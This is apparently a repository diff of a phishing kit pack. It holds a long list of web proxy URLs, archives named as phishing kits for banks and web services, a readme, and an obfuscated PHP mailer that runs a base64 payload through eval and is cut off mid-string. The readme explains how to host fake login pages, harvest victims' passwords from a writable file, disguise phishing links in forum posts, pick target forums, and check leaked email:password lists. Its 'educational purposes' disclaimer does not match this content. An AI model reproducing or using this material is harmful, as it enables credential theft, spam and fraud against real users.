     1101 +http://schnarre-monika.celebrityblog...
     1102 +http://filter2005.com/
     1103 +http://www.kproxy.com/
     1104 +http://www.websitereactor.org/cgi-bi...
     1105 +http://www.goproxing.com/
     1106 +http://anonycat.com/
     1107 +http://www.spynot.com/
     1108 +http://www.merletn.org/anonymizer
     1109 +http://www.cgi-proxy.net/
     1110 +http://www.proxymouse.com/
     1111 +http://www.theunblocker.tk/
     1112 +http://www.betaproxy.com/
     1113 +http://www.letsproxy.com/
     1114 +http://www.freeproxysurf.info/
     1115 +http://www.mysticproxy.com/
     1116 +http://www.proxywave.com/
     1117 +http://www.vtunnel.com/
     1118 +http://www.proxysnail.com/
     1119 +http://www.freeproxy.ca/
     1120 +http://basic.3proxy.com/
     1121 +http://www.privatebrowsing.com/
     1122 +http://www.hackingtruths.org/proxy
     1123 +http://xanproxy.be/
     1124 +http://www.ipsecret.com/
     1125 +http://www.proxyanon.com/
     1126 +http://www.anonproxy.info/
     1127 +http://www.proxysafe.com/
     1128 +http://www.strongproxy.com/
     1129 +http://www.boredatschool.net/
     1130 +http://www.ukproxy.com/
     1131 +http://www.simpleproxy.com/
     1132 +http://www.phproxy.org/
     1133 +http://surfonym.com/
     1134 +http://geoepker.hu/freeproxy/
     1135 +http://www.browseatwork.com/
     1136 +http://www.ipblocker.info/
     1137 +http://www.boredatwork.info/
     1138 +http://www.anonymousurfing.info/
     1139 +http://www.browsingwork.com/
     1140 +http://www.freeproxyserver.org/
     1141 +http://www.browseany.com/
     1142 +http://www.browsesecurely.com/
     1143 +http://ieproxy.com/
     1144 +http://www.sneak3.po.gs/
     1145 +http://www.proxytastic.com/
     1146 +http://www.freewebproxy.org/
     1147 +http://www.thecgiproxy.com/
     1148 +http://www.hide-me.be/
     1149 +http://www.anotherproxy.com/
     1150 +http://www.proxy77.com/
     1151 +http://www.surf-anon.com/
     1152 +http://www.free-proxy.info/
     1153 +http://www.theproxysite.info/
     1154 +http://www.proxyify.info/
     1155 +http://www.concealme.com/
     1156 +http://browseschool.info/
     1157 +http://browsework.info/
     1158 +http://browsingwork.info/
     1159 +http://browsingschool.com/
     1160 +http://www.proxyindex.com/
     1161 +http://www.gobyproxy.com/
     1162 +http://www.proxifyme.com/
     1163 +http://www.proxyghost.com/
     1164 +http://www.spysurfing.com/
     1165 +http://www.unblockthis.com/
     1166 +http://www.proxyserver7.com/
     1167 +http://www.daveproxy.co.uk/
     1168 +http://www.tntproxy.com/
     1169 +http://www.neoproxy.net/
     1170 +http://www.bypassbrowser.com/
     1171 +http://www.procksie.com/
     1172 +http://www.httproxy.com/
     1173 +http://www.cgiproxy.info/
     1174 +http://www.silentsurf.com/cgi-bin/np...
     1175 +http://www.proxy-sock.com/
     1176 +http://www.proxygeek.com/
     1177 +http://www.datadefense.org/
     1178 +http://www.hideyour.info/
     1179 +http://www.howto.pro/
     1180 +http://www.collegeproxy.com/
     1181 +http://www.demonproxy.com/
     1182 +http://www.satanproxy.com/
     1183 +http://www.hidingyou.com/
     1184 +http://www.intelliproxy.com/
     1185 +http://www.fireprox.com/
     1186 +http://www.h0h0h0.com/firewall/
     1187 +http://www.katedrala.cz/
     1188 +http://www.browseatwork.net/
     1189 +http://www.2255.info/
     1190 +http://www.vproxy.be/
     1191 +http://www.boxproxy.com/
     1192 +http://www.nopimps.com/
     1193 +http://www.fsurf.com/
     1194 +http://www.proxylord.com/
     1195 +http://roachhost.com/hp/
     1196 +http://www.freepr0xy.com/
     1197 +http://www.proxypop.com/
     1198 +http://proxy.winidn.com/
     1199 +http://www.cloax.net/
     1200 +http://www.proxy247.com/
     1201 +http://www.traceless.com/
     1202 +http://www.siatec.net/proxyanonymizer
     1203 +http://www.stealth-ip.net/
     1204 +http://www.proxywhip.com/
     1205 +http://www.proxy-surf.net/
     1206 +http://www.videoeditors.info/proxy/
     1207 +http://www.blockmy.info/
     1208 +http://www.proxychatroom.com/
     1209 +http://www.teenproxy.com/
     1210 +http://www.totalupload.com/surf/
     1211 +http://www.proxene.com/
     1212 +http://www.fileshack.us/proxy.php
     1213 +http://www.cloaker.ca/
     1214 +http://www.proxified.net/
     1215 +http://www.mrreid.net/
     1216 +https://proxy.autistici.org/
     1217 +http://anonymizer.autistici.org/
     1218 +http://www.anonymizer.com/
     1219 +http://www.surfola.com/
     1220 +http://www.a4u.at/
     1221 +http://computerboy88.virtualave.net/...
     1222 +http://www.surflondon.co.uk/123anon/...
     1223 +http://www.wablair.digitalspace.net/...
     1224 +http://www.blazeboard.com/nph-proxy.cgi
     1225 +http://nethush.com/
     1226 +http://www.privateproxy.net/
     1227 +http://www.safeproxy.net/
     1228 +http://slinky.lv6.net/index.html
     1229 +http://dsl2k.hypermart.net/cgi-bin/c...
     1230 +http://www.jmarshall.com/tools/cgiproxy/
     1231 +http://virus.hwn.ru/
     1232 +http://proxy.pp.ru/
     1233 +http://proxy.webshopcd.ru/
     1234 +http://www.subdimension.com/nettools...
     1235 +http://www.safeproxy.org/cgi-bin/nph...
     1236 +https://secure.fc2.com/smartipm/nph-...
     1237 +http://www.rewebber.com/
     1238 +http://www.thestrongestlinks.com/
     1239 +http://www.gunshin.net/cgi-bin/nph-p...
     1240 +http://www.free2.surffreedom.com/nph...
     1241 +https://nadaily.com/cgi-bin/nph-prox...
     1242 +http://www.consti.de/proxy/
     1243 +http://knez.ru/proxy/nph-proxy.cgi
     1244 +http://proxy.flooda.us/nph-proxy.cgi
     1245 +http://www.anonymisierungsdienst.de/...
     1246 +http://www.anonprox.com/nph-proxy.cgi
     1247 +http://www.chatos.com//proxy//special/
     1248 +http://www.abecx.net/cgi-bin/cgiprox...
     1249 +http://www.goproxy.com/cgi-bin/nph-p...
     1250 +http://www.peachieness.com/cgi-bin/n...
     1251 +http://www.schematic.org/proxy.php
     1252 +http://proxy.ocramc.com/
     1253 +https://www.orangatango.com/
     1254 +http://proxy.ocramc.info/
     1255 +http://shady.mytwinports.com/anon/
     1256 +http://www.1costaricalink.com/cgi-bi...
     1257 +http://www.wowbrowse.com/
     1258 +http://www.web2ftp.com/
     1259 +http://www2ftp.de/
     1260 +http://www.marzie.com/ftpstart.asp
     1261 +http://webftp.host.sk/
     1262 +http://ukproxy.com/web-based-ftp-pro...
     1263 +http://www.proxybuster.net/
     1264 +http://www.a4u.at/
     1265 +http://www.jmarshall.com/tools/cgiproxy/
     1266 +http://www.freeproxy.ru/en/free_prox...
     1267 +http://www.underproxy.com
     1268 +http://www.proxybrowsing.com/
     1269 +http://www.proxypimp.com/
     1270 +http://www.proxymafia.net/
     1271 +http://www.browse.ms/
     1272 +http://www.cantbustme.com/
     1273 +http://www.invisiblesurfing.com/
     1274 +http://www.kroxy.net/
     1275 +http://www.enableprivacy.com/
     1276 +http://www.unblock.biz/
     1277 +http://www.http404.info/
     1278 +http://1hitko.com/proxy/
     1279 +http://www.proxyheg.info
     1280 +http://welazy.com/nick
     1281 +http://manyscripts.com
     1282 +http://buzzysplat.com
     1283 +http://onlyproxy.com
     1284 +http://proxy.rocko.ge/
     1285 +http://www.proxytown.org
     1286 +http://vidznet.com/pr
     1287 +http://ecoproxy.com
     1288 +http://up.romania5.net/phpproxy.php
     1289 +http://startusingproxy.info
     1290 +http://googlenetwork.org
     1291 +http://www.bypasser.info/
     1292 +http://tor.eff.org/
     1293 +http://spuddy.faithhosts.com/fold
     1294 +http://underproxy.com
     1295 +http://www.php15.com
     1296 +http://www.dastylex.com/wrapper/12.html
     1297 +http://reallycoolproxy.com
     1298 +http://mycoolproxy.com
     1299 +http://proxy.mixchaat.com
     1300 +http://www.soutelgad.com/proxy/
     1301 +http://nevets933.info
     1302 +http://www.hidip.info
     1303 +http://www.proxter.us
     1304 +http://www.proxcool.com
     1305 +http://www.proxholic.com
     1306 +http://azurf.com
     1307 +http://clif3.com
     1308 +http://aznq.com
     1309 +http://obtrice.com
     1310 +http://bypasser.org
     1311 +http://vidztec.com
     1312 +http://proxyize.com
     1313 +http://proxyize.net
     1314 +http://bypasser.org
     1315 +http://azurf.com
     1316 +http://proxcool.com
     1317 +http://proxter.us
     1318 +http://hidelink.info
     1319 +http://proxholic.com
     1320 +http://cutmy.info
     1321 +http://www.bautizame.com/proxy
     1322 +http://uaz.info
     1323 +http://www.unipeak.com
     1324 +http://hide4eva.info
     1325 +http://www.bestfastproxy.com/
     1326 +http://tipsfind.com/proxy
     1327 +http://hidelink.info
     1328 +http://cutmy.info
     1329 +http://hide4eva.info
     1330 +http://www.liveprox.com/
     1331 +http://www.proxypro.nl
     1332 +http://www.vidztec.com
     1333 +http://ProxyIze.com
     1334 +http://www.whatfilter.com
     1335 +http://www.youroogle.com
     1336 +http://www.onlyproxy.com
     1337 +http://WWW.PROXYOWL.NET
     1338 +http://www.viproxy.net
     1339 +http://www.gundon.com
     1340 +http://eproxy.pl
     1341 +http://lawyerproxy.com
     1342 +http://murl.pl/?http://proxylist.moo...
     1343 +http://murl.pl/?http://lawyerproxy.com
     1344 +http://www.liveprox.com/
     1345 +http://www.timeproxy.com
     1346 +http://fixnt.com
     1347 +http://www.proxices.com
     1348 +http://proxy.proxygod.net
     1349 +http://forums.proxygod.net/
     1350 +http://www.ukproxyes.net
     1351 +http://www.usaproxyes.net
     1352 +http://http://www.maskmyip.net
     1353 +http://ProxyIze.net
     1354 +http://Svyt.com
     1355 +http://ProxyIze.com
     1356 +http://cyberproxy.info
     1357 +http://SVYT.com/cgiproxy
     1358 +http://proxynetwork.us/
     1359 +http://hidebehind.net
     1360 +http://allfreehere.info
     1361 +http://takefreely.info
     1362 +http://hagiomusic.info
     1363 +http://proxyzip.org
     1364 +http://greenpips.info
     1365 +http://2og.biz/
     1366 +http://www.4ym.biz/
     1367 +http://www.6fl.org/
     1368 +http://www.6yk.biz/
     1369 +http://www.7s1.org/
     1370 +http://www.blockd.info/
     1371 +http://www.facebookprox.info/
     1372 +http://www.h7j.org/
     1373 +http://www.hi5prox.info/
     1374 +http://www.hidemefromthefeds.info/
     1375 +http://www.hidemeplease.info/
     1376 +http://www.i9o.biz/
     1377 +http://www.jamminprox.info/
     1378 +http://www.myspaceprox.info/
     1379 +http://www.newprox.info/
     1380 +http://www.officialprox.info/
     1381 +http://www.tdotproxy.com/
     1382 +http://www.tdotproxy.info/
     1383 +http://www.top20hh.com/
     1384 +http://www.ucprox.info/
     1385 +http://www.undergrounddesi.com/
     1386 +http://www.w8p.biz/
     1387 +http://www.y3m.org/
     1388 +http://www.z4f.us/
  • PayPal Phisher.rar
    Binary file.
  • Phisher Maker!.rar
    Binary file.
  • Phishing Letters.rar
    Binary file.
  • Photobucker Phiser.zip
    Binary file.
  • PornoTube Phisher.rar
    Binary file.
  • Portable HTML Encrypter_050620204707.exe
    Binary file.
  • ■ ■ ■ ■ ■ ■
    READ.ME.FIRST.txt
     1 +Pack Includes:
     2 +-AnonymousMailer
     3 +-Phisher Maker! Read the ReadMe.txt
     4 +-Jiffy Gmail Account Creator - Create GMAIL acc for setting up hosting acc etc.
     5 +-Tarantula a Powerful software to extract e-mail addresses matching your keyword query
     6 +-RapidExtract is a tool that checks EMAIL:PASSWORD lists, for rapidshare accounts, if the email has a rapidshare account it then sends the login to the email. Then you can login to the email (most people use same pass for everything) and obtain the rapidshare account.
     7 +-IP Hider Pack - Read the ReadMe.txt
     8 +-Steam Phiser
     9 +-Rapidshare Phiser
     10 +-Friendster Phiser
     11 +-Gmail Phisher
     12 +-Habbo Phisher
     13 +-Facebook Phisher
     14 +-Photobucket Phisher
     15 +-XboxLive Phisher
     16 +-AIM Phisher
     17 +-GaiaOnline Phisher
     18 +-IMVU Phisher
     19 +-AstaTalk Phisher
     20 +-Warez-bb Phisher
     21 +-Hotmail Phisher
     22 +-Paypal Phisher
     23 +-Runescape Phisher
     24 +-youtube Phisher
     25 +and many many more.
     26 +
     27 +---What is a phisher---
     28 +Basically a phisher is a fake login page, that is made to look exactly like the real login page of the real website so as to fool somebody into entering their information and sending it to you.
     29 +
     30 +---How can I get somebody to login to my phisher---
     31 +That's for you to find out, use your mind. Probably the simplest way is Social Engineering and some phishing skill Here is an example : http://imgdevil.com/pfiles/140/phisher.jpg
     32 +
     33 +---How to use---
     34 +Find a web host that supports php.
     35 +Upload all of the files to your web hosting.
     36 +Goto the link (yoursite.freehostname.com or whatever) and it should show the login if you uploaded it in the root directory.Send your victim the Index page.
     37 +To get the passwords they enter goto yoursite.freehostname.com/passwords.txt, or whatever the name of your text file is.
     38 +Remember to have the .txt file always on CHMOD 777 to enable it to be writtable.
     39 +
     40 +---Changing the log.txt or password.txt to something else---
     41 +First rename your text file to what you want it, so nobody can guess it.
     42 +Then open the next.php (or may be named out.php)and edit the text that says passes.txt to whatever you named your text file.
     43 +
     44 +---How to hide links in forums---
     45 +If your trying to post it where html is allowed its:
     46 +<a href="http://yourphisherlink.com">http://yourreallink.com</a>
     47 +
     48 +If you are trying to post it on forms its:
     49 +[url=http://yourphisherlink.com]http://yourreallink.com[/url]
     50 +
     51 +---Free Hosting for your phisers---
     52 +* 110mb - http://110mb.com
     53 +* Ripway - http://ripway.com
     54 +* SuperFreeHost - http://superfreehost.info
     55 +* Freehostia - http://freehostia.com
     56 +* Funpic - http://funpic.de (How to remove ads?)
     57 +* Funpic - http://funpic.org (How to remove ads?)
     58 +* Freeweb7 - http://freeweb7.com
     59 +* t35 - http://t35.com
     60 +* Awardspace - http://awardspace.com
     61 +* PHPNet - http://phpnet.us
     62 +* Free Web Hosting Pro - http://freewebhostingpro.com
     63 +* ProHosts - http://prohosts.org
     64 +* AtSpace - http://atspace.com
     65 +* ByetHost - http://byethost.com/
     66 +* 000webhost - http://000webhost.com/
     67 +* My5GB - http://www.my5gb.com/
     68 +* Oxyhost - http://www.oxyhost.com/
     69 +* Rack111 - http://www.rack111.com/
     70 +* Ocostwebhost - http://0costwebhost.com/
     71 +* FreeZoka - http://www.freezoka.com/
     72 +
     73 +---Free Domain List---
     74 +* .TK - http://dot.tk/
     75 +* .CJB.NET - http://cjb.net/
     76 +* .DOM.IR - http://dom.ir/
     77 +* .EURO.ST & MANY MORE - http://ulimit.com/en
     78 +* .CO.CC - http://co.cc/
     79 +* .CO.NR - http://freedomain.co.nr/
     80 +* .US.TT & MANY MORE - http://joynic.com
     81 +* .UNI.CC - http://uni.cc/
     82 +* .CA.GS - http://ca.gs
     83 +
     84 +---Email Spammers---
     85 +http://padu.info/
     86 +
     87 +
     88 +---URL Hiders---
     89 +http://2isp.com
     90 +http://tinyurl.com
     91 +http://w3t.org
     92 +http://lix.in
     93 +http://sturly.com
     94 +http://urlprune.com
     95 +http://rarme.com
     96 +http://doiop.com/
     97 +http://rapidlayer.in/
     98 +http://myref.de/
     99 +http://link-protector.com/
     100 +http://www.lil-link.com/
     101 +http://urlite.com/
     102 +http://protect-links.com
     103 +http://snurl.com
     104 +http://lil-links.com
     105 +http://rapidbolt.com
     106 +http://snip-it.com
     107 +
     108 +---Proxies if you get banned on forums for posting phisers---
     109 +http://subno.info
     110 +http://jeal.info
     111 +http://workstudyguide.com
     112 +http://mariogold.com
     113 +http://unblockthissite.com
     114 +http://kproxy.com
     115 +-MORE IN THE PROXY.txt or just get onto www.proxy.org
     116 +
     117 +---Interesting tools/sites---
     118 +http://fakenamegenerator.com/ - hacked a unverified paypal or something change the name no ideas see this
     119 +http://www.fakemailer.net/
     120 +http://www.deadfake.com/
     121 +
     122 +---Site to Phish at---
     123 +http://smforum.net/
     124 +http://wrzboard.org/
     125 +http://blitzwarez.net/
     126 +http://warezscene.org/
     127 +http://blackbay.org/
     128 +http://warezforum.info/forum/
     129 +http://projectw.org/
     130 +http://crazy-coderz.net/index.php (Closed)
     131 +http://voide.org/
     132 +http://warez-it.co.uk/
     133 +http://t-warez.com/
     134 +http://share4life.co.uk/forums/
     135 +http://forumw.org/
     136 +http://tehparadox.com/
     137 +http://wrzteam.com/vb/
     138 +http://katzforums.com/
     139 +http://usawarez.net/forum/index.php
     140 +http://silentground.org/forums/
     141 +http://xtremew.org/
     142 +http://wckedforums.com/
     143 +http://porn-bb.org
     144 +http://www.forumophilia.com/index.php
     145 +http://www.warezcountry.org/
     146 +http://mpcforum.com
     147 +http://gamerzneeds.net
     148 +http://gamerzplanet.net
     149 +http://pornbb.org
     150 +http://warezshares.com
     151 +http://puzo.us
     152 +http://puso.org
     153 +
     154 +
     155 +And Any Other Community Out there Basically. Its all about Mixing :D
     156 +
     157 +--------------------------------------------------------------------------------------------------------------------
     158 +The Author Of This Guide Is NOT Responsible For ANYTHING You Do With This , I encourage you not to use any of this. It was only created for educational purposes and to demonstrate how web pages are vulnerable. If you EVER see a phisher please report it.PHISHERS ARE ILLEGAL.
     159 +
     160 +materials gathered from : voide.org,blackbay.org and downloadslc.info and pic tut by Innovator
     161 +Pack compiled and read me written by : lagiosman~ (http://madspot.org - downloadslc.info)
  • RapidExtract.rar
    Binary file.
  • Regions Phisher.rar
    Binary file.
  • Ripway Phisher.rar
    Binary file.
  • RuneScape Phisher.rar
    Binary file.
  • SendSpace Phisher.rar
    Binary file.
  • Skype Phisher.rar
    Binary file.
  • SourceForge Phisher.rar
    Binary file.
  • Steam Phiser.zip
    Binary file.
  • Tagged Phisher.rar
    Binary file.
  • Tarantula.rar
    Binary file.
  • WWE Phisher.rar
    Binary file.
  • Warez-bb Phisher.rar
    Binary file.
  • Wells Fargo Phisher.rar
    Binary file.
  • WindowsSupport.zip
    Binary file.
  • WoW Phisher.zip
    Binary file.
  • XboxLive Phisher.zip
    Binary file.
  • YouTube Phisher.rar
    Binary file.
  • astatalk Phisher.rar
    Binary file.
  • cazmailer.php
    Diff is too large to be displayed.
  • facebook Phisher.zip
    Binary file.
  • hotmail Phisher.zip
    Binary file.
  • thisis50 Phisher.rar
    Binary file.
  • ■ ■ ■ ■ ■ ■
    xleetmailer_050620204927.php
     1 +<?php
     2 +/**
     3 + * Xleet PHP Mailer by [xleet.io]
     4 + * @version : 2.7
     5 +**/
     6 +
     7 +$password = ""; // MaILER Password
     8 +
     9 +
     10 +eval (base64_decode("CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgoKJGxlYWZbJ3ZlcnNpb24nXT0iMS4wIjsKJGxlYWZbJ3dlYnNpdGUnXT0ieGxlZXQuaW8iOwoKCiRzZXNzaW9uY29kZSA9IG1kNShfX0ZJTEVfXyk7CmlmKCFlbXB0eSgkcGFzc3dvcmQpIGFuZCAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSAhPSAkcGFzc3dvcmQpewogICAgIyBfUkVRVUVTVCBtZWFuIF9QT1NUIG9yIF9HRVQgCiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNzJ10pIGFuZCAkX1JFUVVFU1RbJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsKICAgICAgICAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSA9ICRwYXNzd29yZDsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHByaW50ICI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDogPGlucHV0IHR5cGU9J3Bhc3N3b3JkJyBuYW1lPSdwYXNzJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iOwogICAgICAgIGV4aXQ7ICAgICAgICAKICAgIH0KfQoKaWYoJF9QT1NUWydhY3Rpb24nXT09InNlbmQiKXsKICAgICRzZW5kZXJFbWFpbD1sZWFmVHJpbSgkX1BPU1RbJ3NlbmRlckVtYWlsJ10pOwogICAgJHNlbmRlck5hbWU9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJOYW1lJ10pOwogICAgJHJlcGx5VG89bGVhZlRyaW0oJF9QT1NUWydyZXBseVRvJ10pOwogICAgJHN1YmplY3Q9bGVhZlRyaW0oJF9QT1NUWydzdWJqZWN0J10pOwogICAgJGVtYWlsTGlzdD1sZWFmVHJpbSgkX1BPU1RbJ2VtYWlsTGlzdCddKTsKICAgICRtZXNzYWdlVHlwZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VUeXBlJ10pOwogICAgJG1lc3NhZ2VMZXR0ZXI9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlTGV0dGVyJ10pOyAgICAKICAgICRtZXNzYWdlTGV0dGVyID0gdXJsZW5jb2RlKCRtZXNzYWdlTGV0dGVyKTsKICAgICRtZXNzYWdlTGV0dGVyID0gZXJlZ19yZXBsYWNlKCIlNUMlMjIiLCAiJTIyIiwgJG1lc3NhZ2VMZXR0ZXIpOwogICAgJG1lc3NhZ2VMZXR0ZXIgPSB1cmxkZWNvZGUoJG1lc3NhZ2VMZXR0ZXIpOwogICAgJG1lc3NhZ2VMZXR0ZXIgPSBzdHJpcHNsYXNoZXMoJG1lc3NhZ2VMZXR0ZXIpOwogICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJHN1YmplY3QpOwogICAgJGVuY29kZSA9IHN0cmlwc2xhc2hlcygkZW5jb2RlKTsKCgp9CmlmKCRtZXNzYWdlVHlwZT09Mil7CiAgICAkcGxhaW49ImNoZWNrZWQiOwp9CmVsc2UgewogICAgJGh0bWw9ImNoZWNrZWQiOwp9CgpmdW5jdGlvbiBsZWFmQ2xlYXIoJHRleHQsJGVtYWlsKXsKICAgICRlbWFpbHVzZXIgPSBwcmVnX3JlcGxhY2UoJy8oW15AXSopLiovJywgJyQxJywgJGVtYWlsKTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbGV0dGVycy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonKSwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21zdHJpbmctXSIsIHJhbmRTdHJpbmcoJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OScpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbW51bWJlci1dIiwgcmFuZFN0cmluZygnMDEyMzQ1Njc4OScpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbW1kNS1dIiwgbWQ1KHJhbmRTdHJpbmcoJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OScpKSwgJHRleHQpOwogICAgcmV0dXJuICR0ZXh0OwogICAgCn0KZnVuY3Rpb24gbGVhZlRyaW0oJHN0cmluZyl7CnJldHVybiBzdHJpcHNsYXNoZXMobHRyaW0ocnRyaW0oJHN0cmluZykpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICRleHAgPSAiXlthLXpcJzAtOV0rKFsuXy1dW2EtelwnMC05XSspKkAoW2EtejAtOV0rKFsuXy1dW2EtejAtOV0rKSkrJCI7CiAgIGlmKGVyZWdpKCRleHAsJGVtYWlsKSl7CiAgICAgICAgaWYoY2hlY2tkbnNycihhcnJheV9wb3AoZXhwbG9kZSgiQCIsJGVtYWlsKSksIk1YIikpe3JldHVybiB0cnVlO30KICAgICAgICBlbHNle3JldHVybiBmYWxzZTt9CiAgIH0KICAgZWxzZXtyZXR1cm4gZmFsc2U7fSAgICAKfQoKY2xhc3MgUEhQTWFpbGVyCnsKICAgIC8qKgogICAgICogVGhlIFBIUE1haWxlciBWZXJzaW9uIG51bWJlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVmVyc2lvbiA9ICc1LjIuMTQnOwoKICAgIC8qKgogICAgICogRW1haWwgcHJpb3JpdHkuCiAgICAgKiBPcHRpb25zOiBudWxsIChkZWZhdWx0KSwgMSA9IEhpZ2gsIDMgPSBOb3JtYWwsIDUgPSBsb3cuCiAgICAgKiBXaGVuIG51bGwsIHRoZSBoZWFkZXIgaXMgbm90IHNldCBhdCBhbGwuCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRQcmlvcml0eSA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgY2hhcmFjdGVyIHNldCBvZiB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ2hhclNldCA9ICdpc28tODg1OS0xJzsKCiAgICAvKioKICAgICAqIFRoZSBNSU1FIENvbnRlbnQtdHlwZSBvZiB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSBlbmNvZGluZy4KICAgICAqIE9wdGlvbnM6ICI4Yml0IiwgIjdiaXQiLCAiYmluYXJ5IiwgImJhc2U2NCIsIGFuZCAicXVvdGVkLXByaW50YWJsZSIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEVuY29kaW5nID0gJzhiaXQnOwoKICAgIC8qKgogICAgICogSG9sZHMgdGhlIG1vc3QgcmVjZW50IG1haWxlciBlcnJvciBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFcnJvckluZm8gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBGcm9tIGVtYWlsIGFkZHJlc3MgZm9yIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tID0gJ3Jvb3RAbG9jYWxob3N0JzsKCiAgICAvKioKICAgICAqIFRoZSBGcm9tIG5hbWUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEZyb21OYW1lID0gJ1Jvb3QgVXNlcic7CgogICAgLyoqCiAgICAgKiBUaGUgU2VuZGVyIGVtYWlsIChSZXR1cm4tUGF0aCkgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBub3QgZW1wdHksIHdpbGwgYmUgc2VudCB2aWEgLWYgdG8gc2VuZG1haWwgb3IgYXMgJ01BSUwgRlJPTScgaW4gc210cCBtb2RlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRTZW5kZXIgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBSZXR1cm4tUGF0aCBvZiB0aGUgbWVzc2FnZS4KICAgICAqIElmIGVtcHR5LCBpdCB3aWxsIGJlIHNldCB0byBlaXRoZXIgRnJvbSBvciBTZW5kZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGRlcHJlY2F0ZWQgRW1haWwgc2VuZGVycyBzaG91bGQgbmV2ZXIgc2V0IGEgcmV0dXJuLXBhdGggaGVhZGVyOwogICAgICogaXQncyB0aGUgcmVjZWl2ZXIncyBqb2IgKFJGQzUzMjEgc2VjdGlvbiA0LjQpLCBzbyB0aGlzIG5vIGxvbmdlciBkb2VzIGFueXRoaW5nLgogICAgICogQGxpbmsgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzUzMjEjc2VjdGlvbi00LjQgUkZDNTMyMSByZWZlcmVuY2UKICAgICAqLwogICAgcHVibGljICRSZXR1cm5QYXRoID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgU3ViamVjdCBvZiB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU3ViamVjdCA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSFRNTCBvciBwbGFpbiB0ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIElmIEhUTUwgdGhlbiBjYWxsIGlzSFRNTCh0cnVlKS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQm9keSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIHBsYWluLXRleHQgbWVzc2FnZSBib2R5LgogICAgICogVGhpcyBib2R5IGNhbiBiZSByZWFkIGJ5IG1haWwgY2xpZW50cyB0aGF0IGRvIG5vdCBoYXZlIEhUTUwgZW1haWwKICAgICAqIGNhcGFiaWxpdHkgc3VjaCBhcyBtdXR0ICYgRXVkb3JhLgogICAgICogQ2xpZW50cyB0aGF0IGNhbiByZWFkIEhUTUwgd2lsbCB2aWV3IHRoZSBub3JtYWwgQm9keS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQWx0Qm9keSA9ICc